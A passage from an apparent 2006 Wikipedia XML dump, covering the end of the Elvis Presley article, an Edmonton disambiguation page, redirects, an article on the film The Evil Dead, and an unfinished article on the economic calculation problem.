In total, he has spent 2,574 weeks in both the UK singles and album charts, way ahead of his closest competitors, namely Cliff Richard (1,982), Queen (1,755), the Beatles (1,749), and Madonna (1,660).

A channel on the Sirius Satellite Radio subscriber service is devoted to the life and music of Elvis, with all broadcasts originating from Graceland in Memphis, Tennessee.

==Musical milestones==
During his lifetime, Elvis Presley:
*recorded 104 singles that hit the Top 40 of the [[Billboard magazine|''Billboard'']] pop chart.
*had 17 number 1 ''Billboard'' hits, including four singles in [[1956]] that occupied the top of the charts for a cumulative total of 25 weeks. The total (17) is surpassed only by [[The Beatles]], who had 20 number 1 hits. This record was recently tied by [[Mariah Carey]], an American [[pop music |pop]] and [[R&amp;B]] singer.
*has spent a total of 79 weeks at the number 1 position. His closest competitor is [[Mariah Carey]] with 77 weeks.
* from 1956 to 1972,  he had record breaking 36 Top 10 ''Billboard'' hits. This achievement is currently shared by [[Madonna (entertainer)|Madonna]] who reached the same total in late November of 2005. [[The Beatles]] had 34 Top 10 hits during their career.

Until the record was broken by [[Boyz II Men]]'s &quot;End of the Road&quot; in November [[1992]], Elvis Presley's double-side &quot;Don't Be Cruel/Hound Dog&quot; was the undisputed champion of singles in terms of weeks spent at number one. The record spent 11 weeks at the top starting on [[August 18]] [[1956]]. Both records were beat by the current title holder, [[One Sweet Day]], a duet with [[Mariah Carey]] and Boyz II Men, which holds 16 weeks.

These are other records set by Presley's recordings:

*From March [[1956]] to November [[1959]], every week there was at least one Elvis song on the singles chart.
*From [[1956]] to [[1962]], Elvis set the record with 24 consecutive top 5 hit singles (singles listed with B-side songs and original U.S.A. release dates), each of which sold in excess of one million copies. Since 1962, the closest anyone has come to matching this was [[Madonna (entertainer)|Madonna]] in the late [[1980s]] and early [[1990s]], with 19 consecutive top 5 hits.

*Also, on the official United Kingdom Top 40 chart, &quot;It's Now Or Never&quot; reached number one in the week of Sunday January 30, 2005, 27 years after Presley's death.

*According to the Record Industry Association of America (RIAA), Elvis Presley is the recording artist with the most Gold, Platinum and Multi-Platinum certified albums (97, 55 and 26, respectively). He also tops the singles category, with 53, 27, and 8 of his singles having earned Gold, Platinum, and Multi-platinum status, respectively. His &quot;Elvis Christmas album&quot; (1970 version), is the most certified Christmas album in history, currently earning a 9X Platinum certification (in excess of nine million copies sold). He is also has the most Christmas, Gospel, and Inspirational certified albums in history.

* In a list of the greatest English language singers of the 20th century, as compiled by BBC Radio, Elvis Presley was ranked #2. The poll was topped by Frank Sinatra, with Nat King Cole and Ella Fitzgerald also in the top ten.

'''Discography:'''
*For a detailed discography see: [[Elvis Presley discography]].
*For a list of Elvis' singles see: [[Elvis Presley hit singles]].
*For a list of all of his songs see: [[Alphabetical list of all of Elvis Presley's songs]].

==Urban Legends==

There is a widespread belief that Elvis&amp;mdash;who was known by his first name&amp;mdash;did not die in 1977. Many fans persist in claiming he is still alive, that he went into hiding for various reasons. This claim is allegedly backed up by thousands of so-called [[Elvis sightings]] that have occurred in the years since his death [http://elvis-lives.8m.com/iselvisalive.html]. Critics of the theory state that a number of Elvis impersonators can easily be mistaken for Elvis and that the urban legend is merely the result of fans not wanting to accept his death.

==Trivia==

*In 1960, following his return from military service, the various  employees hired by Elvis Presley to handle security and his concert tours were affectionately dubbed the &quot;[[Memphis Mafia]]&quot; by the news media. After his death several Memphis Mafia members wrote books on their time working for Presley.

* His given middle name at birth was ''Aron'' ([http://www.elvis.com/elvisology/faq/faq.asp?qid=11]), however ''Aaron'' was placed on his gravestone by his father because Elvis preferred that [[Bible|biblical]] spelling and had legally changed it. Aaron is the official spelling used by his estate.

*Elvis had a twin brother named Jesse who died in infancy.

* According to another, more widespread [[urban legend]], Elvis did not die in [[1977]], and may be alive today (see [[Elvis sightings]]).

*[[Cryolophosaurus]] is nicknamed 'Elvisaurus' because of its head crest being alike to Elvis's hairstyle.

* The estate of Elvis Presley earns over 40 million dollars every year which is a record for a deceased entertainer.

* Elvis Presley made only one television commercial, an ad for Southern Maid Doughnuts that ran in [[1954]].

* His hair was a natural sandy brown but he dyed it jet black after filming &quot;Love Me Tender.&quot;

* Elvis Presley made famous a version of the [[Peanut butter and jelly sandwich|peanut butter sandwich]] with [[banana]] (either mashed or whole) that was [[grilled]] or [[fried]], and may have contained [[bacon]] and [[porridge]].

*Has sold over one billion records worldwide&amp;mdash;the first to do so&amp;mdash;and is one of the best selling recording artists in history.

*Has won three Grammy awards, all for his Gospel recordings. These were for the 1967 &quot;How Great Thou Art&quot; LP, for the 1972 LP,   &quot;He Touched Me&quot; and,  in 1974, for the song &quot;How Great Thou Art&quot; (live).

* ''[[Billboard magazine|Billboard]]''&lt;nowiki&gt;'s&lt;/nowiki&gt; [[Joel Whitburn]] declared Presley the &quot;#1 act of the Rock era&quot;, beating out [[The Beatles]], based upon his dominance of ''Billboard''&lt;nowiki&gt;'s&lt;/nowiki&gt; list of top 100 singles artists since 1955.

*According to Steve Brown's book, ''Scandalous Freedom: The Radical Nature of the Gospel'', Elvis gave a concert and, at its conclusion, a woman came forward with a crown resting on a plush pillow. She lifted the crown to Elvis and shouted, &quot;You're the King!&quot; &quot;No, honey,&quot; he said, &quot;I'm not the King. Christ is the King. I'm just a singer&quot;.

* Also, in September of 1974, during one of his two sellout shows at the University of Notre Dame, he stopped singing, as well as motioned for the the band to quit playing, in order to tell those holding a huge banner which read ¨You are the King¨, that he was not going to resume singing until it was taken out from view, adding that &quot;there was only one King, and that was the Lord, Jesus Christ&quot;.

* [[Elvis Stojko]], a Canadian who was the three-time [[World Figure Skating Championships|World Figure Skating Champion]], was named after Presley by his mother, who was a big fan.

* Elvis Crespo, the King of salsa and merengue, was also named after Presley by his mother, a native of Puerto Rico who was a big Elvis fan.

* Elvis Dumervil, the University of Louisville All American college football player, currently en route to breaking the all time NCAA sacking record and a candidate to win the 2005 edition of the &quot;Lombardi Award&quot;, was also named after Presley by his mother, an African American.

* [[Elvis Mitchell]], the former movie critic for the [[New York Times]], was named after Presley by his parents, who were African-Americans.

* Musician [[Elvis Costello]]  borrowed Presley's first name, a few months before his death in 1977, in order to help his then fledgling career.

* In 2005, and for the fifth year straight, Elvis was named the richest deceased celebrity (according to [[Forbes Magazine|www.Forbes.com]]). (see also reference above, under Elvis in the 21st Century)

* He was proud of his role in ''[[King Creole]]'' because the part was originally offered to his idol [[James Dean]]. Although songs were later slipped into the movie, Elvis considered it his best work.

* He was offered the lead role of Tony in the film adaptation of the [[Broadway theatre|Broadway]] musical ''[[West Side Story]]'' but Col. Parker forced Presley turn it down as non-commercial despite Elvis' arguments it would legitimize his acting career. The film won 10 [[Academy Awards]] including [[Best Picture]].

* Elvis's parents made cameos in his film ''[[Loving You]]''.

* The [[1960]] Broadway musical ''[[Bye Bye Birdie]]'' is a supposed satire about the effects of the compulsory U.S. military draft on a famous singer similar to Presley.

* In the 1997 tour of ''Bye Bye Birdie'', actor [[Rikki Lee Travolta]] was so convincing as the Elvis-based Conrad Birdie that he was named an honorary member of the National Association of Amateur Elvis Impersonators.

* Elvis's favorite female singer was [[Anne Murray]] and he recorded a version of &quot;Snowbird&quot;.

* Elvis was a practitioner of [[karate]][http://www.tracyskarate.com/Stories/was_elvis_really_a_black_belt.htm].

* Elvis had a cousin named Earl Stevenson, a former U.S. Marine sergeant.

* Elvis was a member of [[Tau Kappa Epsilon]].

* On his 70th birthday, [[Larry King]] wondered how Elvis would look today. To this, [[Aaron Brown]] responded: &quot;Probably like all those Elvis impersonators&quot;.

* Estimates of Elvis's height range from 5'11&quot; to 6'2&quot;. It is unclear from photographs of him being measured for the Army in 1958 whether he was wearing his boots at the time. While he certainly appeared quite tall on stage, he often wore built up shoes. Most estimates agree Elvis was around 6'0&quot; even.

* The [[2002]] [[Disney Channel|Disney]] animated feature [[Lilo and Stitch]] contains more Elvis songs than any film in which Elvis himself ever starred.  The film's closing sequence also features a montage of photographs, one of which portrays the film's main characters posed before the gates of [[Graceland]]. The film also broke several rules related to Elvis in films which included using his photo, shortening his songs for time and dressing up like him. However, the Graceland estate allowed the producers this degree of freedom.

==See also==
*[[Elvis Presley's Sun recordings]]
*[[Best-selling artist of all-time]]
*[[List of best-selling music artists]]
*[[List of songs about or referencing Elvis Presley]]
*[[List of actors who have played Elvis Presley]]
*[[Elvis impersonator]]
*[[Elvis sightings]]
*[[&quot;Tagish&quot; Elvis Presley]]
*[[24 Hour Church of Elvis]]
*[[Elvis-A-Rama Museum]]
*''[[Elvis and Me]]''

==Further reading==
*[http://users.pandora.be/davidneale/elvis/books/ List of more than 380 books relating to Elvis Presley]
*Authors of important works on Presley include
**[[Peter Guralnick]] — his books are considered the definitive work on Presley yet he did not interview all close with Elvis.
**[[Alanna Nash]] —  award winning book by the [[Society of Professional Journalists]]' 1994 National Member of the Year
**[[Albert Goldman]] —  reviled by fans for his harsh criticisms of Presley
**[[Elaine Dundy]]  —  author of &quot;''[[Elvis and Gladys]]'',&quot; called &quot;Nothing less than the best Elvis book yet&quot; by the [[Boston Globe]] and [[Kirkus Reviews]], &quot;The most fine-grained Elvis bio ever.&quot;
**Michael T. Bertrand - &quot;''Race, Rock, and Elvis''&quot; by [[Tennessee State University]] assistant professor of history. [http://www.press.uillinois.edu/s05/bertrand.html University of Illinois Press]. (2000), ISBN 0-252-02586-5. The book examines the emergence of rock 'n' roll in a social and regional context.
**Louis Cantor - &quot;''Dewey and Elvis - The Life and Times of a Rock 'n' Roll Deejay''&quot;  by a professor emeritus of history at [[Indiana University]] who grew up in [[Memphis, Tennessee]] and attended high school with Presley. - [[University of Illinois Press]] (2005) ISBN 025202981X

==External links==
{{wikiquote}}

* [http://www.elvis.com/ Elvis.com] - the site is owned by Elvis Presley Enterprises, which is a subsidiary of CKX, Inc ([[NASDAQ]]: {{ndaq|CKXE}}).
* [http://www.elvis.ro Elvis] - Elvis Aaron Presley
* {{imdb name|id=0000062|name=Elvis Presley}}
* [[FBI]] [[Freedom of Information Act]] files on Elvis: [http://foia.fbi.gov/foiaindex/presley.htm foia.fbi.gov/foiaindex/presley.htm]

&lt;!-- Metadata: see [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Presley, Elvis Aron
|ALTERNATIVE NAMES=Presley, Elvis Aaron
|SHORT DESCRIPTION=American singer, song producer and actor; &quot;The King of Rock 'n' Roll&quot;
|DATE OF BIRTH=[[January 8]], [[1935]]
|PLACE OF BIRTH=[[Tupelo, Mississippi]]
|DATE OF DEATH=[[August 16]], [[1977]]
|PLACE OF DEATH=[[Memphis, Tennessee]]
}}

[[Category:1935 births|Presley, Elvis]]
[[Category:1977 deaths|Presley, Elvis]]
[[Category:American film actors|Presley, Elvis]]
[[Category:American pop singers|Presley, Elvis]]
[[Category:American rock singers|Presley, Elvis]]
[[Category:American country singers|Presley, Elvis]]
[[Category:Cause of death disputed|Presley, Elvis]]
[[Category:Drug-related deaths|Presley, Elvis]]
[[Category:Elvis Presley| ]]
[[Category:Dead people rumoured to be living|Presley, Elvis]]
[[Category:Entertainers who died in their 40s|Presley, Elvis]]
[[Category:Gospel singers|Presley, Elvis]]
[[Category:Identical twins|Presley, Elvis]]
[[Category:American male singers|Presley, Elvis]]
[[Category:American karateka|Presley, Elvis]]
[[Category:Hollywood Walk of Fame|Presley, Elvis]]
[[Category:People from Mississippi|Presley, Elvis]]
[[Category:Truck drivers|Presley, Elvis]]
[[Category:Blue eyed soul|Presley, Elvis]]
[[Category:Rock and Roll Hall of Fame inductees|Presley, Elvis]]
[[Category:Rockabilly musicians|Presley, Elvis]]
[[Category:Sun Records artists|Presley, Elvis]]
[[Category:United States Army soldiers|Presley, Elvis]]

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[[tr:Elvis Presley]]
[[zh:埃爾維斯·皮禮士利]]</text>
    </revision>
  </page>
  <page>
    <title>Edmonton (disambiguation)</title>
    <id>9289</id>
    <revision>
      <id>33962822</id>
      <timestamp>2006-01-05T11:23:09Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <comment>Updated</comment>
      <text xml:space="preserve">More than one place has the name '''Edmonton'''. You may be looking for one of these:

* [[Edmonton, Alberta]], Canada—capital of Alberta
* [[Edmonton, London]], England
* [[Edmonton, Kentucky]], USA
* [[Edmonton, Queensland, Australia]]


==See also==
* [[List of airports in the Edmonton area]]


{{disambig}}

[[fr:Edmonton (homonymie)]]</text>
    </revision>
  </page>
  <page>
    <title>Economic subjectivism</title>
    <id>9290</id>
    <revision>
      <id>39967913</id>
      <timestamp>2006-02-17T04:02:42Z</timestamp>
      <contributor>
        <username>Dullfig</username>
        <id>234882</id>
      </contributor>
      <comment>Marginalism is not the only subjective theory of value</comment>
      <text xml:space="preserve">#REDIRECT [[Subjective theory of value]]</text>
    </revision>
  </page>
  <page>
    <title>Einstein</title>
    <id>9292</id>
    <revision>
      <id>15907193</id>
      <timestamp>2003-05-05T03:11:00Z</timestamp>
      <contributor>
        <username>Eloquence</username>
        <id>52</id>
      </contributor>
      <comment>we don't need no stinking disambig. page for a link to an article that doesn't exist</comment>
      <text xml:space="preserve">#REDIRECT [[Albert Einstein]]</text>
    </revision>
  </page>
  <page>
    <title>Establishing Shot</title>
    <id>9293</id>
    <revision>
      <id>15907194</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Establishing shot]]
</text>
    </revision>
  </page>
  <page>
    <title>The Evil Dead</title>
    <id>9294</id>
    <revision>
      <id>42103878</id>
      <timestamp>2006-03-03T21:24:36Z</timestamp>
      <contributor>
        <username>Sean Black</username>
        <id>294714</id>
      </contributor>
      <minor />
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = The Evil Dead |
  image          = Evil Dead poster.jpg |
  director       = [[Sam Raimi]] |
  producer       = [[Sam Raimi]]&lt;br&gt;[[Bruce Campbell]]&lt;br&gt;[[Robert Tapert]] |
  writer         = [[Sam Raimi]] |
  starring       = [[Bruce Campbell]] |
  movie_music    = [[Joe LoDuca]] |
  distributor    = [[New Line Cinema]] |
  released   = [[October 15]], [[1981]] ([[United States|USA]]) |
  runtime        = 85 min. |
  language = [[English language|English]] |
  imdb_id        = 0083907 |
  music          = |
  awards         = |
  budget         = $350,000 |
  followed_by    = ''[[Evil Dead II]]'' |
}}
'''''The Evil Dead''''' (also known as '''''The Book of The Dead ''''', '''''Sam Raimi's The Evil Dead''''' and '''''The Evil Dead, the Ultimate Experience in Grueling Terror''''') is a [[1981]] [[horror film]] directed and written by [[Sam Raimi]], starring [[Bruce Campbell]]. It is considered a classic of the genre. 

== Plot summary ==
{{spoiler}}
The story is simple: Five college students venture into the [[Tennessee]] woods to spend a weekend of fun in an isolated cabin. Instead, the teenagers find the [[Book of the Dead]] otherwise known as the [[Necronomicron]].  They find and play a tape recording of demonic incantations from the Book, and unknowingly open a portal to the netherworld. The characters are then killed off in a somewhat disjointed sequence of scenes of extremely intense, bloody and &quot;realistic&quot;-looking violence, and the film ends with the apparently invisible evil spirit bearing down on the last survivor, [[Ash Williams|Ashley J. Williams]] better known as &quot;Ash.&quot;

==Trivia==
*The movie was filmed in Morristown, Tennessee off of Kidwells Ridge Rd.
*The two fishermen on the side of the road at the beginning are writer/director [[Sam Raimi]] and producer [[Robert Tapert]].
*Shooting began on [[November 14]], [[1979]]. The original cast left after six weeks of filming which was the original shooting completion date.  There was still much shooting left to do and the remainder of the film was shot with family and friends dressed like the actor for behind or side shots.  This became known as &quot;[[Shemp Howard|shemp]]ing&quot; and the person as a &quot;[[Fake shemp]]&quot; as an homage to the [[Three Stooges]].
*The &quot;Book of the Dead&quot; is referred to as ''Naturom Demonto'' in the film and &quot;[[Necronomicon]] Ex Mortis&quot; in the two sequels. Terminology used by the unleashed horrors and professor studying them shows that Raimi's version of the notorious faux-occult book is influenced by [[H.P. Lovecraft]]'s book that has been often used in the ensuing modern [[Cthulhu Mythos]].
*When listening to Professor Knoby's recording and recitation of the Book of the Dead you can hear a distorted version of the words, &quot;Sam and Rob are the hikers down the road.&quot;
*The film was screened at the [[Cannes]] film festival in [[1982]]. It recieved a widely publicized review from horror author [[Stephen King]], published in the [[November 1982]] issue of ''[[Twilight Zone (magazine)|Twilight Zone]]''.
*In the scene when Ash first finds the Necronomicron, a torn poster advertising [[Wes Craven]]'s ''[[The Hills Have Eyes]]'' is visible in the background. In response to this homage, a scene from &quot;Evil Dead&quot; is visible on a television screen in ''[[Nightmare on Elm Street]]''.
*The poster for &quot;Evil Dead&quot; can be seen in a closet containing a chainsaw in the horror film ''[[Dead and Breakfast]]''.
*The film plays when Donnie and Gretchen go to the cinema in ''[[Donnie Darko]]''. The filmmakers originally wanted to use ''[[C.H.U.D.]]'', but could not obtain permission. Director Sam Raimi allowed them to use the footage from ''The Evil Dead'' for free.

== Censorship ==

Because of its graphic violence, the original version of the movie was banned in several countries, including [[Finland]], [[Iceland]], [[Ireland]] and [[Germany]]. The &quot;tree rape&quot; scene was also objectionable to some and seen as being [[misogynist]].

In Germany, the movie's release was hindered by public authorities for almost 10 years.  Original 1982 cinema and video releases of the movie had been seized, making the movie a hit on the black market video circuit, with pirated copies abounding. A heavily edited version was first made available in 1992. 
Several high-profile horror enthusiasts, among them even author [[Stephen King]], publicly criticized the German ban on the movie. In other [[German language]] markets, the movie was never restricted from distribution.
The first legal uncut version of the movie entered the German market in 2001, on DVD.

In one scene early in the film, the characters are seen to smoke [[cannabis]]. The actors are not genuinely 'high', however the shot had to be abandoned because the actors tried using real cannabis but this caused them to become unpredictable, to say the least.

In the [[United Kingdom]], the movie was one of the first to be labelled as a [[video nasty]] and was only released uncut in [[2001]].

== Sequels ==

Two sequels were made, ''[[Evil Dead II]]: Dead By Dawn'' ([[1987]]) and ''[[Army of Darkness]]'' ([[1993]]). Each succeeding film has featured more humor than the preceding one, so much so that many do not consider ''Army of Darkness'' a true horror film. The films' mix of humor and gore has been called &quot;splatstick,&quot; a [[portmanteau]] of &quot;[[Splatter film|splatter film]]&quot; and &quot;[[slapstick]].&quot;

At the beginning of each sequel, the preceding story is summarized, though with some small changes. These changes, along with the similarity in plot to the original film, lead some fans to consider ''Evil Dead II'' a remake rather than a sequel.

The series is regarded as a [[cult film|cult classic]], and a book, ''The Evil Dead Companion'' (Bill Warren, ISBN 0312275013), has been written about it.

In an interview in 2005 [http://www.comingsoon.net/news/topnews.php?id=8225], Sam Raimi and Rob Tapert talked about plans to make another sequel called ''Evil Dead IV'' or ''Army of Darkness II'', again starring Campbell. However, it was recently revealed that filming will begin in 2006 for a movie entitled ''They Call Me Bruce'', starring Bruce Campbell as himself. This movie may be seen as a non-canon title in the Evil Dead series because it concerns Campbell being mistaken for Ash by fans of the movies who force him to fight real Deadites in their hometown. There are also plans for a remake of the original ''Evil Dead'', with a different director and different actors.

Sam Raimi's 1978 30-minute movie ''Within the Woods'', also starring Bruce Campbell, has sometimes been called a [[prequel]] of the ''Evil Dead'' series, which is incorrect, since ''Within the Woods'' was made before any of the series proper. The movie ''Within the Woods'' was, in fact, created to raise funds for the filming of ''The Evil Dead''.

== Video games ==

The ''Evil Dead'' trilogy has inspired four [[Computer and video games|video game]]s: ''[[The Evil Dead]],'' for Commodore 64; ''[[Evil Dead: Hail to the King]]'', for [[PlayStation]], [[Sega Dreamcast]], and the [[P.C.]]; And ''[[Evil Dead: A Fistful of Boomstick]]'', for [[PlayStation 2]] and [[Xbox]].  The fourth, ''[[Evil Dead: Regeneration]]'', was released in September 2005 for [[PlayStation 2]], [[Xbox]], and [[P.C.]]


==External links==
*{{imdb title|id=0083907|title=The Evil Dead}}
*[http://www.deadites.net Deadites Online] - Internet site with information regarding the trilogy
*[http://www.withinthewoods.co.uk/ Within the Woods] - Largest UK based appreciation site for ALL things Evil Dead.
*[http://www.aeonity.com/ab/soundboards/movies/evil-dead-httk.php Evil Dead Soundboard] - Evil Dead Movie Soundboard (1981)
*[http://www.bruce-campbell.com Bruce Campbell online] - Bruce Campbell's official website
*[http://michael.tresca.net/] - the site featuring the freely downloadable Evil Dead: Swallow This! in the Freebie section. 

{{Evil Dead}}
[[Category:1981 films|Evil Dead, The]]
[[Category:Cult films|Evil Dead, The]]
[[Category:Horror films|Evil Dead, The]]
[[Category:Zombie films|Evil Dead, The]]
[[Category:Evil Dead|Evil Dead]]
[[Category:New Line Cinema films|Evil Dead]]
[[Category:Films directed by Sam Raimi|Evil Dead]]
[[Category:American films|Evil Dead]]

[[de:Tanz der Teufel]]
[[es:Evil Dead]]
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[[pl:Martwe zło]]
[[fi:Kauhun riivaamat]]
[[sv:The Evil Dead]]
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    </revision>
  </page>
  <page>
    <title>Economists</title>
    <id>9295</id>
    <revision>
      <id>36910835</id>
      <timestamp>2006-01-27T06:53:24Z</timestamp>
      <contributor>
        <ip>82.154.42.116</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[economist]]</text>
    </revision>
  </page>
  <page>
    <title>Economic calculation problem</title>
    <id>9297</id>
    <revision>
      <id>41614643</id>
      <timestamp>2006-02-28T15:00:53Z</timestamp>
      <contributor>
        <ip>82.116.68.14</ip>
      </contributor>
      <comment>General equilibrium, changed &quot;Real socialism wouldn't work either&quot; to link that works, added CC&amp;C link</comment>
      <text xml:space="preserve">The '''economic calculation problem''' is a criticism of [[socialist economics]]. It was first proposed by [[Ludwig von Mises]] in [[1920]]. Those who agree with this criticism claim it is a refutation of [[socialism]] and that it shows why a [[socialist]] [[command economy]] could never work.

==Liberal thinkers==
Many &quot;Classical Liberal&quot; thinkers, especially those of the [[Austrian School]] believed [[Marxist economics]] to be impractical because it denied private [[ownership]] of productive property. They state that prices represent information about market conditions, and are necessary for economic activity. In this view a socialist economy, therefore, would require a price system in order to operate. The socialist economy is said not to set prices as efficiently as private owners, as private property owners seek the best profits for factors of production they owned, even in constantly changing circumstances. It would be this process that would ensure the best use of resources.

This was first stated by [[Friedrich von Wieser]] and a good summation of this case was that of [[Ludwig von Mises]] in his article &quot;Economic Calculation in the Socialist Commonwealth&quot;.

==Friedrich Hayek==
[[Hayek]] further refined this by pointing out that by the time all the relevant information had been gathered the situation would have changed and so the government would be chasing a moving target. In their view, prices in a free market on the other hand instantly conveyed information on the demand and scarcity of products. In theory, the free market was effectively &quot;self organising&quot; in a way that a centrally planned one could never be. He also felt there were other dangers inherent in a planned economy, illustrated in his &quot;[[The Road to Serfdom]]&quot;.

==Extended explanation of argument==
The argument goes roughly as follows:

# The basic economic problem is to produce the &quot;right quantity&quot; of all [[Good (economics)|goods and services]], including any [[capital goods]] required to produce the finished goods or services. (Assume for this argument that &quot;goods&quot; refers to both goods and services.)
# Since the [[factors of production]] are finite, producing more of one good means producing less of some other good. Therefore the basic economic problem can be restated thus: given a fixed quantity of the [[factors of production]], how should they be allocated to produce the &quot;right&quot; set of final [[Good (economics)|goods]]?
# In a [[free market]], where [[price]]s are free to rise and fall without restriction, the [[price]] of a good rises when [[demand]] increases, and falls when [[supply]] increases. If supply is insufficient to meet demand, the price increases, and producers are motivated to make more of that good. If demand is insufficient to purchase the available goods, then prices fall, and less of the good is produced. This is what it means when an economist of the [[Austrian school]] says that [[price]]s are the mechanism that matches [[supply]] with [[demand]].
# Under [[socialism]], prices are not free to rise and fall. Instead, [[price]]s are set by [[central planning|central planners]]. Put differently, because there is no [[private property]] in the [[means of production]], individuals have no power to set prices in response to supply and demand.
# Due to these [[price controls]], there is no reliable source of information about [[demand]], and hence no way to decide how much of a good to produce. This is the '''economic calculation problem'''.
# Since producing too much of one good implies producing too little of another, the result of the '''calculation problem''' is that there will be chronic [[shortage]]s of one good or another. Inherent in the '''calculation problem''' is the conclusion that it is impossible to predict which goods will experience shortage, since if that could be predicted, production could be adjusted to eliminate the shortage, and the '''calculation problem''' would in fact be solvable. The assertion of [[Ludwig von Mises|Mises]] is that the '''calculation problem''' is inherently unsolvable.

Thus the ostensible result is that [[socialism]] produces inefficient [[distributions of production]]. Historical examples include the [[Soviet Union]]'s cyclical [[shortages]] of various goods. Efforts to resolve the '''economic calculation problem''' was one of the main goals of [[Chinese economic reform]] in the [[1980s]]. This argument served as the starting point for [[F. A. Hayek]]'s work on the use of knowledge in society. He contended that the only rational solution to the economic calculation problem is to utilize all the [[dispersed knowledge]] in the market place through the use of [[price signal|price signals]].

Simply put, one aspect of the '''economic calculation problem''' is that demand cannot be known without prices. Or more precisely, it cannot be known ''accurately'' without prices; it would in theory be possible for every citizen to order all of his groceries one year in advance, and to plan a production schedule for the year based on those orders. If one did this, one would know ''roughly'' how much of each good was desired, but this information would be inaccurate, if only because some people may become tired of borscht and eat much less of it than they anticipated when they placed their order; others might become ill or disabled and so have no need of the fuel and clothing they ordered at the start of the year, etc. Add to that the possibility of a natural disaster creating a sudden increase in the need for food and clothing across an entire region, and [[F. A. Hayek|Hayek]] would say that it becomes clear that even if demand could be measured accurately at a particular point in time, the information would quickly become outdated. Prices, on the other hand, provide a continuous source of feedback as demands change.

Another aspect of the '''economic calculation problem''' is that, just as demand can't be known without prices, so costs can't be known without prices. The problem is not one of having a unit of measure, though that is sometimes incorrectly identified as the '''economic calculation problem'''. Rather, the problem is that the cost of a good is roughly the ''demand for the next-most-preferred good''. That is to say that if one uses the last of one's flour to bake a cake instead of a loaf of bread, the [[opportunity cost]] of the cake is equal to the value one places on the bread one does without. So what is the cost of a [[space race]]? To answer the question in a socialist economy requires a knowledge of what people would have done with the time, labor, titanium, land, etc., if it were not instead used to produce a [[space race]], but this is something that fundamentally can't be known. Conversely, in a [[free market]], the fact that someone is willing to pay for a space capsule is regarded as a priori evidence that the [[opportunity cost]] of a space capsule is less than the value of the capsule. (See also [[marginalism]]).

In a sense the '''calculation problem''' is a critique not only of socialist economies, but of any use of [[price controls]]. There is a critical difference, however, in that socialist economies implement [[price controls]] across the entire spectrum of goods. In a nominally [[free market]], [[price controls]] are applied to only a small number of goods, and it is usually clear from circumstances whether the price is being held too high or too low--for example, one speaks of a price '''floor''' (minimum) or '''ceiling''' (maximum), depending whether the price is being held above or below the [[market price]], respectively. In the case of a '''price floor''' it can be predicted that supply will exceed demand, creating a [[surplus]], and in the case of a '''price ceiling''' it can be predicted that demand will exceed supply, creating a [[shortage]]. The '''economic calculation problem''' differs in that, lacking any knowledge of the [[market price]] of goods, one cannot say which goods will be in surplus and which will suffer shortage.

==Example==
A road needs to be built from Place A to Place B.  In between, there is a mountain.

Several methods could be used:

*The road could go around the mountain.
*The road could tunnel through the mountain.
*The road could go over the mountain.

Each method has costs and benefits.

How does one calculate the comparative costs of different options, without prices?  Vital information about the relative cost of labor, materials, delays, impact on travel time, etc. is automatically aggregated from thousands of factors into prices, in a market economy.
It would be impractical for a central planning authority to gather and compare all this information, changing it in real time.

==Debate==

This conclusion was attacked directly on two fronts.  Firstly, by believers in the [[general equilibrium theory]] who maintained that all that matters is the knowledge of the most effective use of materials as long as the price system was in use; effective use of materials could then be calculated by any method, and in essence, other signals would take place of price for intermediate goods.
Secondly, by [[Marxists]], who see prices, e.g. the ratio in which commodities (including money) are exchanged with one another, as just one small part of a process of production which has the primary purpose of profit according to the [[Labor theory of value]]; according to that theory, prices in capitalism do not in fact serve as demand signals.  If either of those alternative theories of price is accepted, in place of the [[marginalist]] theory presently most popular among economists, the calculation problem becomes harder to formulate.

A related point sometimes made by socialists (or, for a different purpose, [[Rothbard]]-inspired [[anarcho-capitalists]]) is that in actually existing capitalism, prices are often set by central planners.  Large corporations set retail prices by central policies, which must in turn be determined by calculations of the sort that, arguably, ought to be impossible according to proponents of the calculation argument.  For example, in response to the road-construction example above, it might be claimed that the costs and benefits of the impact on travel time couldn't be determined ahead of time by judgement-free summing of prices alone in even the most free-market economy.

It could also be argued that the philosophical basis of the calculation problem has a fatal flaw.  Proponents argue that optimum economic settings are unknowable but also purport to know that the market can provide them.

==Decentralized Socialism==

Some socialists respond less directly, that this argument rests on the assumption that socialism would be a completely centralised economy based on society wide planning, but that in fact it need not necessarily be so. This counter-argument suggests a decentralized form of socialism with different levels of planning -- local, regional and global. This, they claim, would allow for a self-regulating mechanism of stock control to come into play (which cannot happen in the case of society-wide or central planning).

In this model, distribution points replenish stock as it is removed from the shelves by signaling to producers’ orders for new stock. Producers in turn contact their own suppliers of inputs as and when it is required and so on down the production.

According to the [[law of the minimum]] (after [[Justus von Liebig]]) those factors that are most scarce in relation to demand, that constitute the &quot;limiting factor&quot; which proximately limits the production of any good, are precisely those that need most to be economised. The shortage of such factors as revealed via the self-regulating system of stock control will trigger the search for more abundant substitutes. This, some socialists claim, would overcome the economic calculation problem. An elaborated model of the socialist economisation process  as well as a detailed critique of the Economic Calculation Argument appears in issue no.3 of Common Voice 
http://www.cvoice.org/current.htm

===Rebuttal===
One response to this criticism is that fundamentally the calculation problem does not in fact rest on an assumption of ''centralization'' of decision making. Indeed, problems very similar can occur in decentralized systems, wherever the persons making choices are insulated from the inefficiencies of those choices.

Another response is to point out that the &quot;stock control plus law of the minimum&quot; proposal ignores the key difficulty identified by the economic calculation problem: the measurement of costs of production according to a common unit.  For efficient allocation, it's necessary to have a common unit of cost for all the many thousands of productive inputs. Such a unit is given by market prices, but is not given by stock control or by the law of the minimum.

The classical economic critique of this theory is to point out that all real-world instances of socialism have involved central planning to a greater or lesser degree, and absent any example of actually funtioning &quot;Decentralized Socialism&quot; it should be assumed to suffer from the economic calculation problem the way all other socialist economies have.

===Reply===
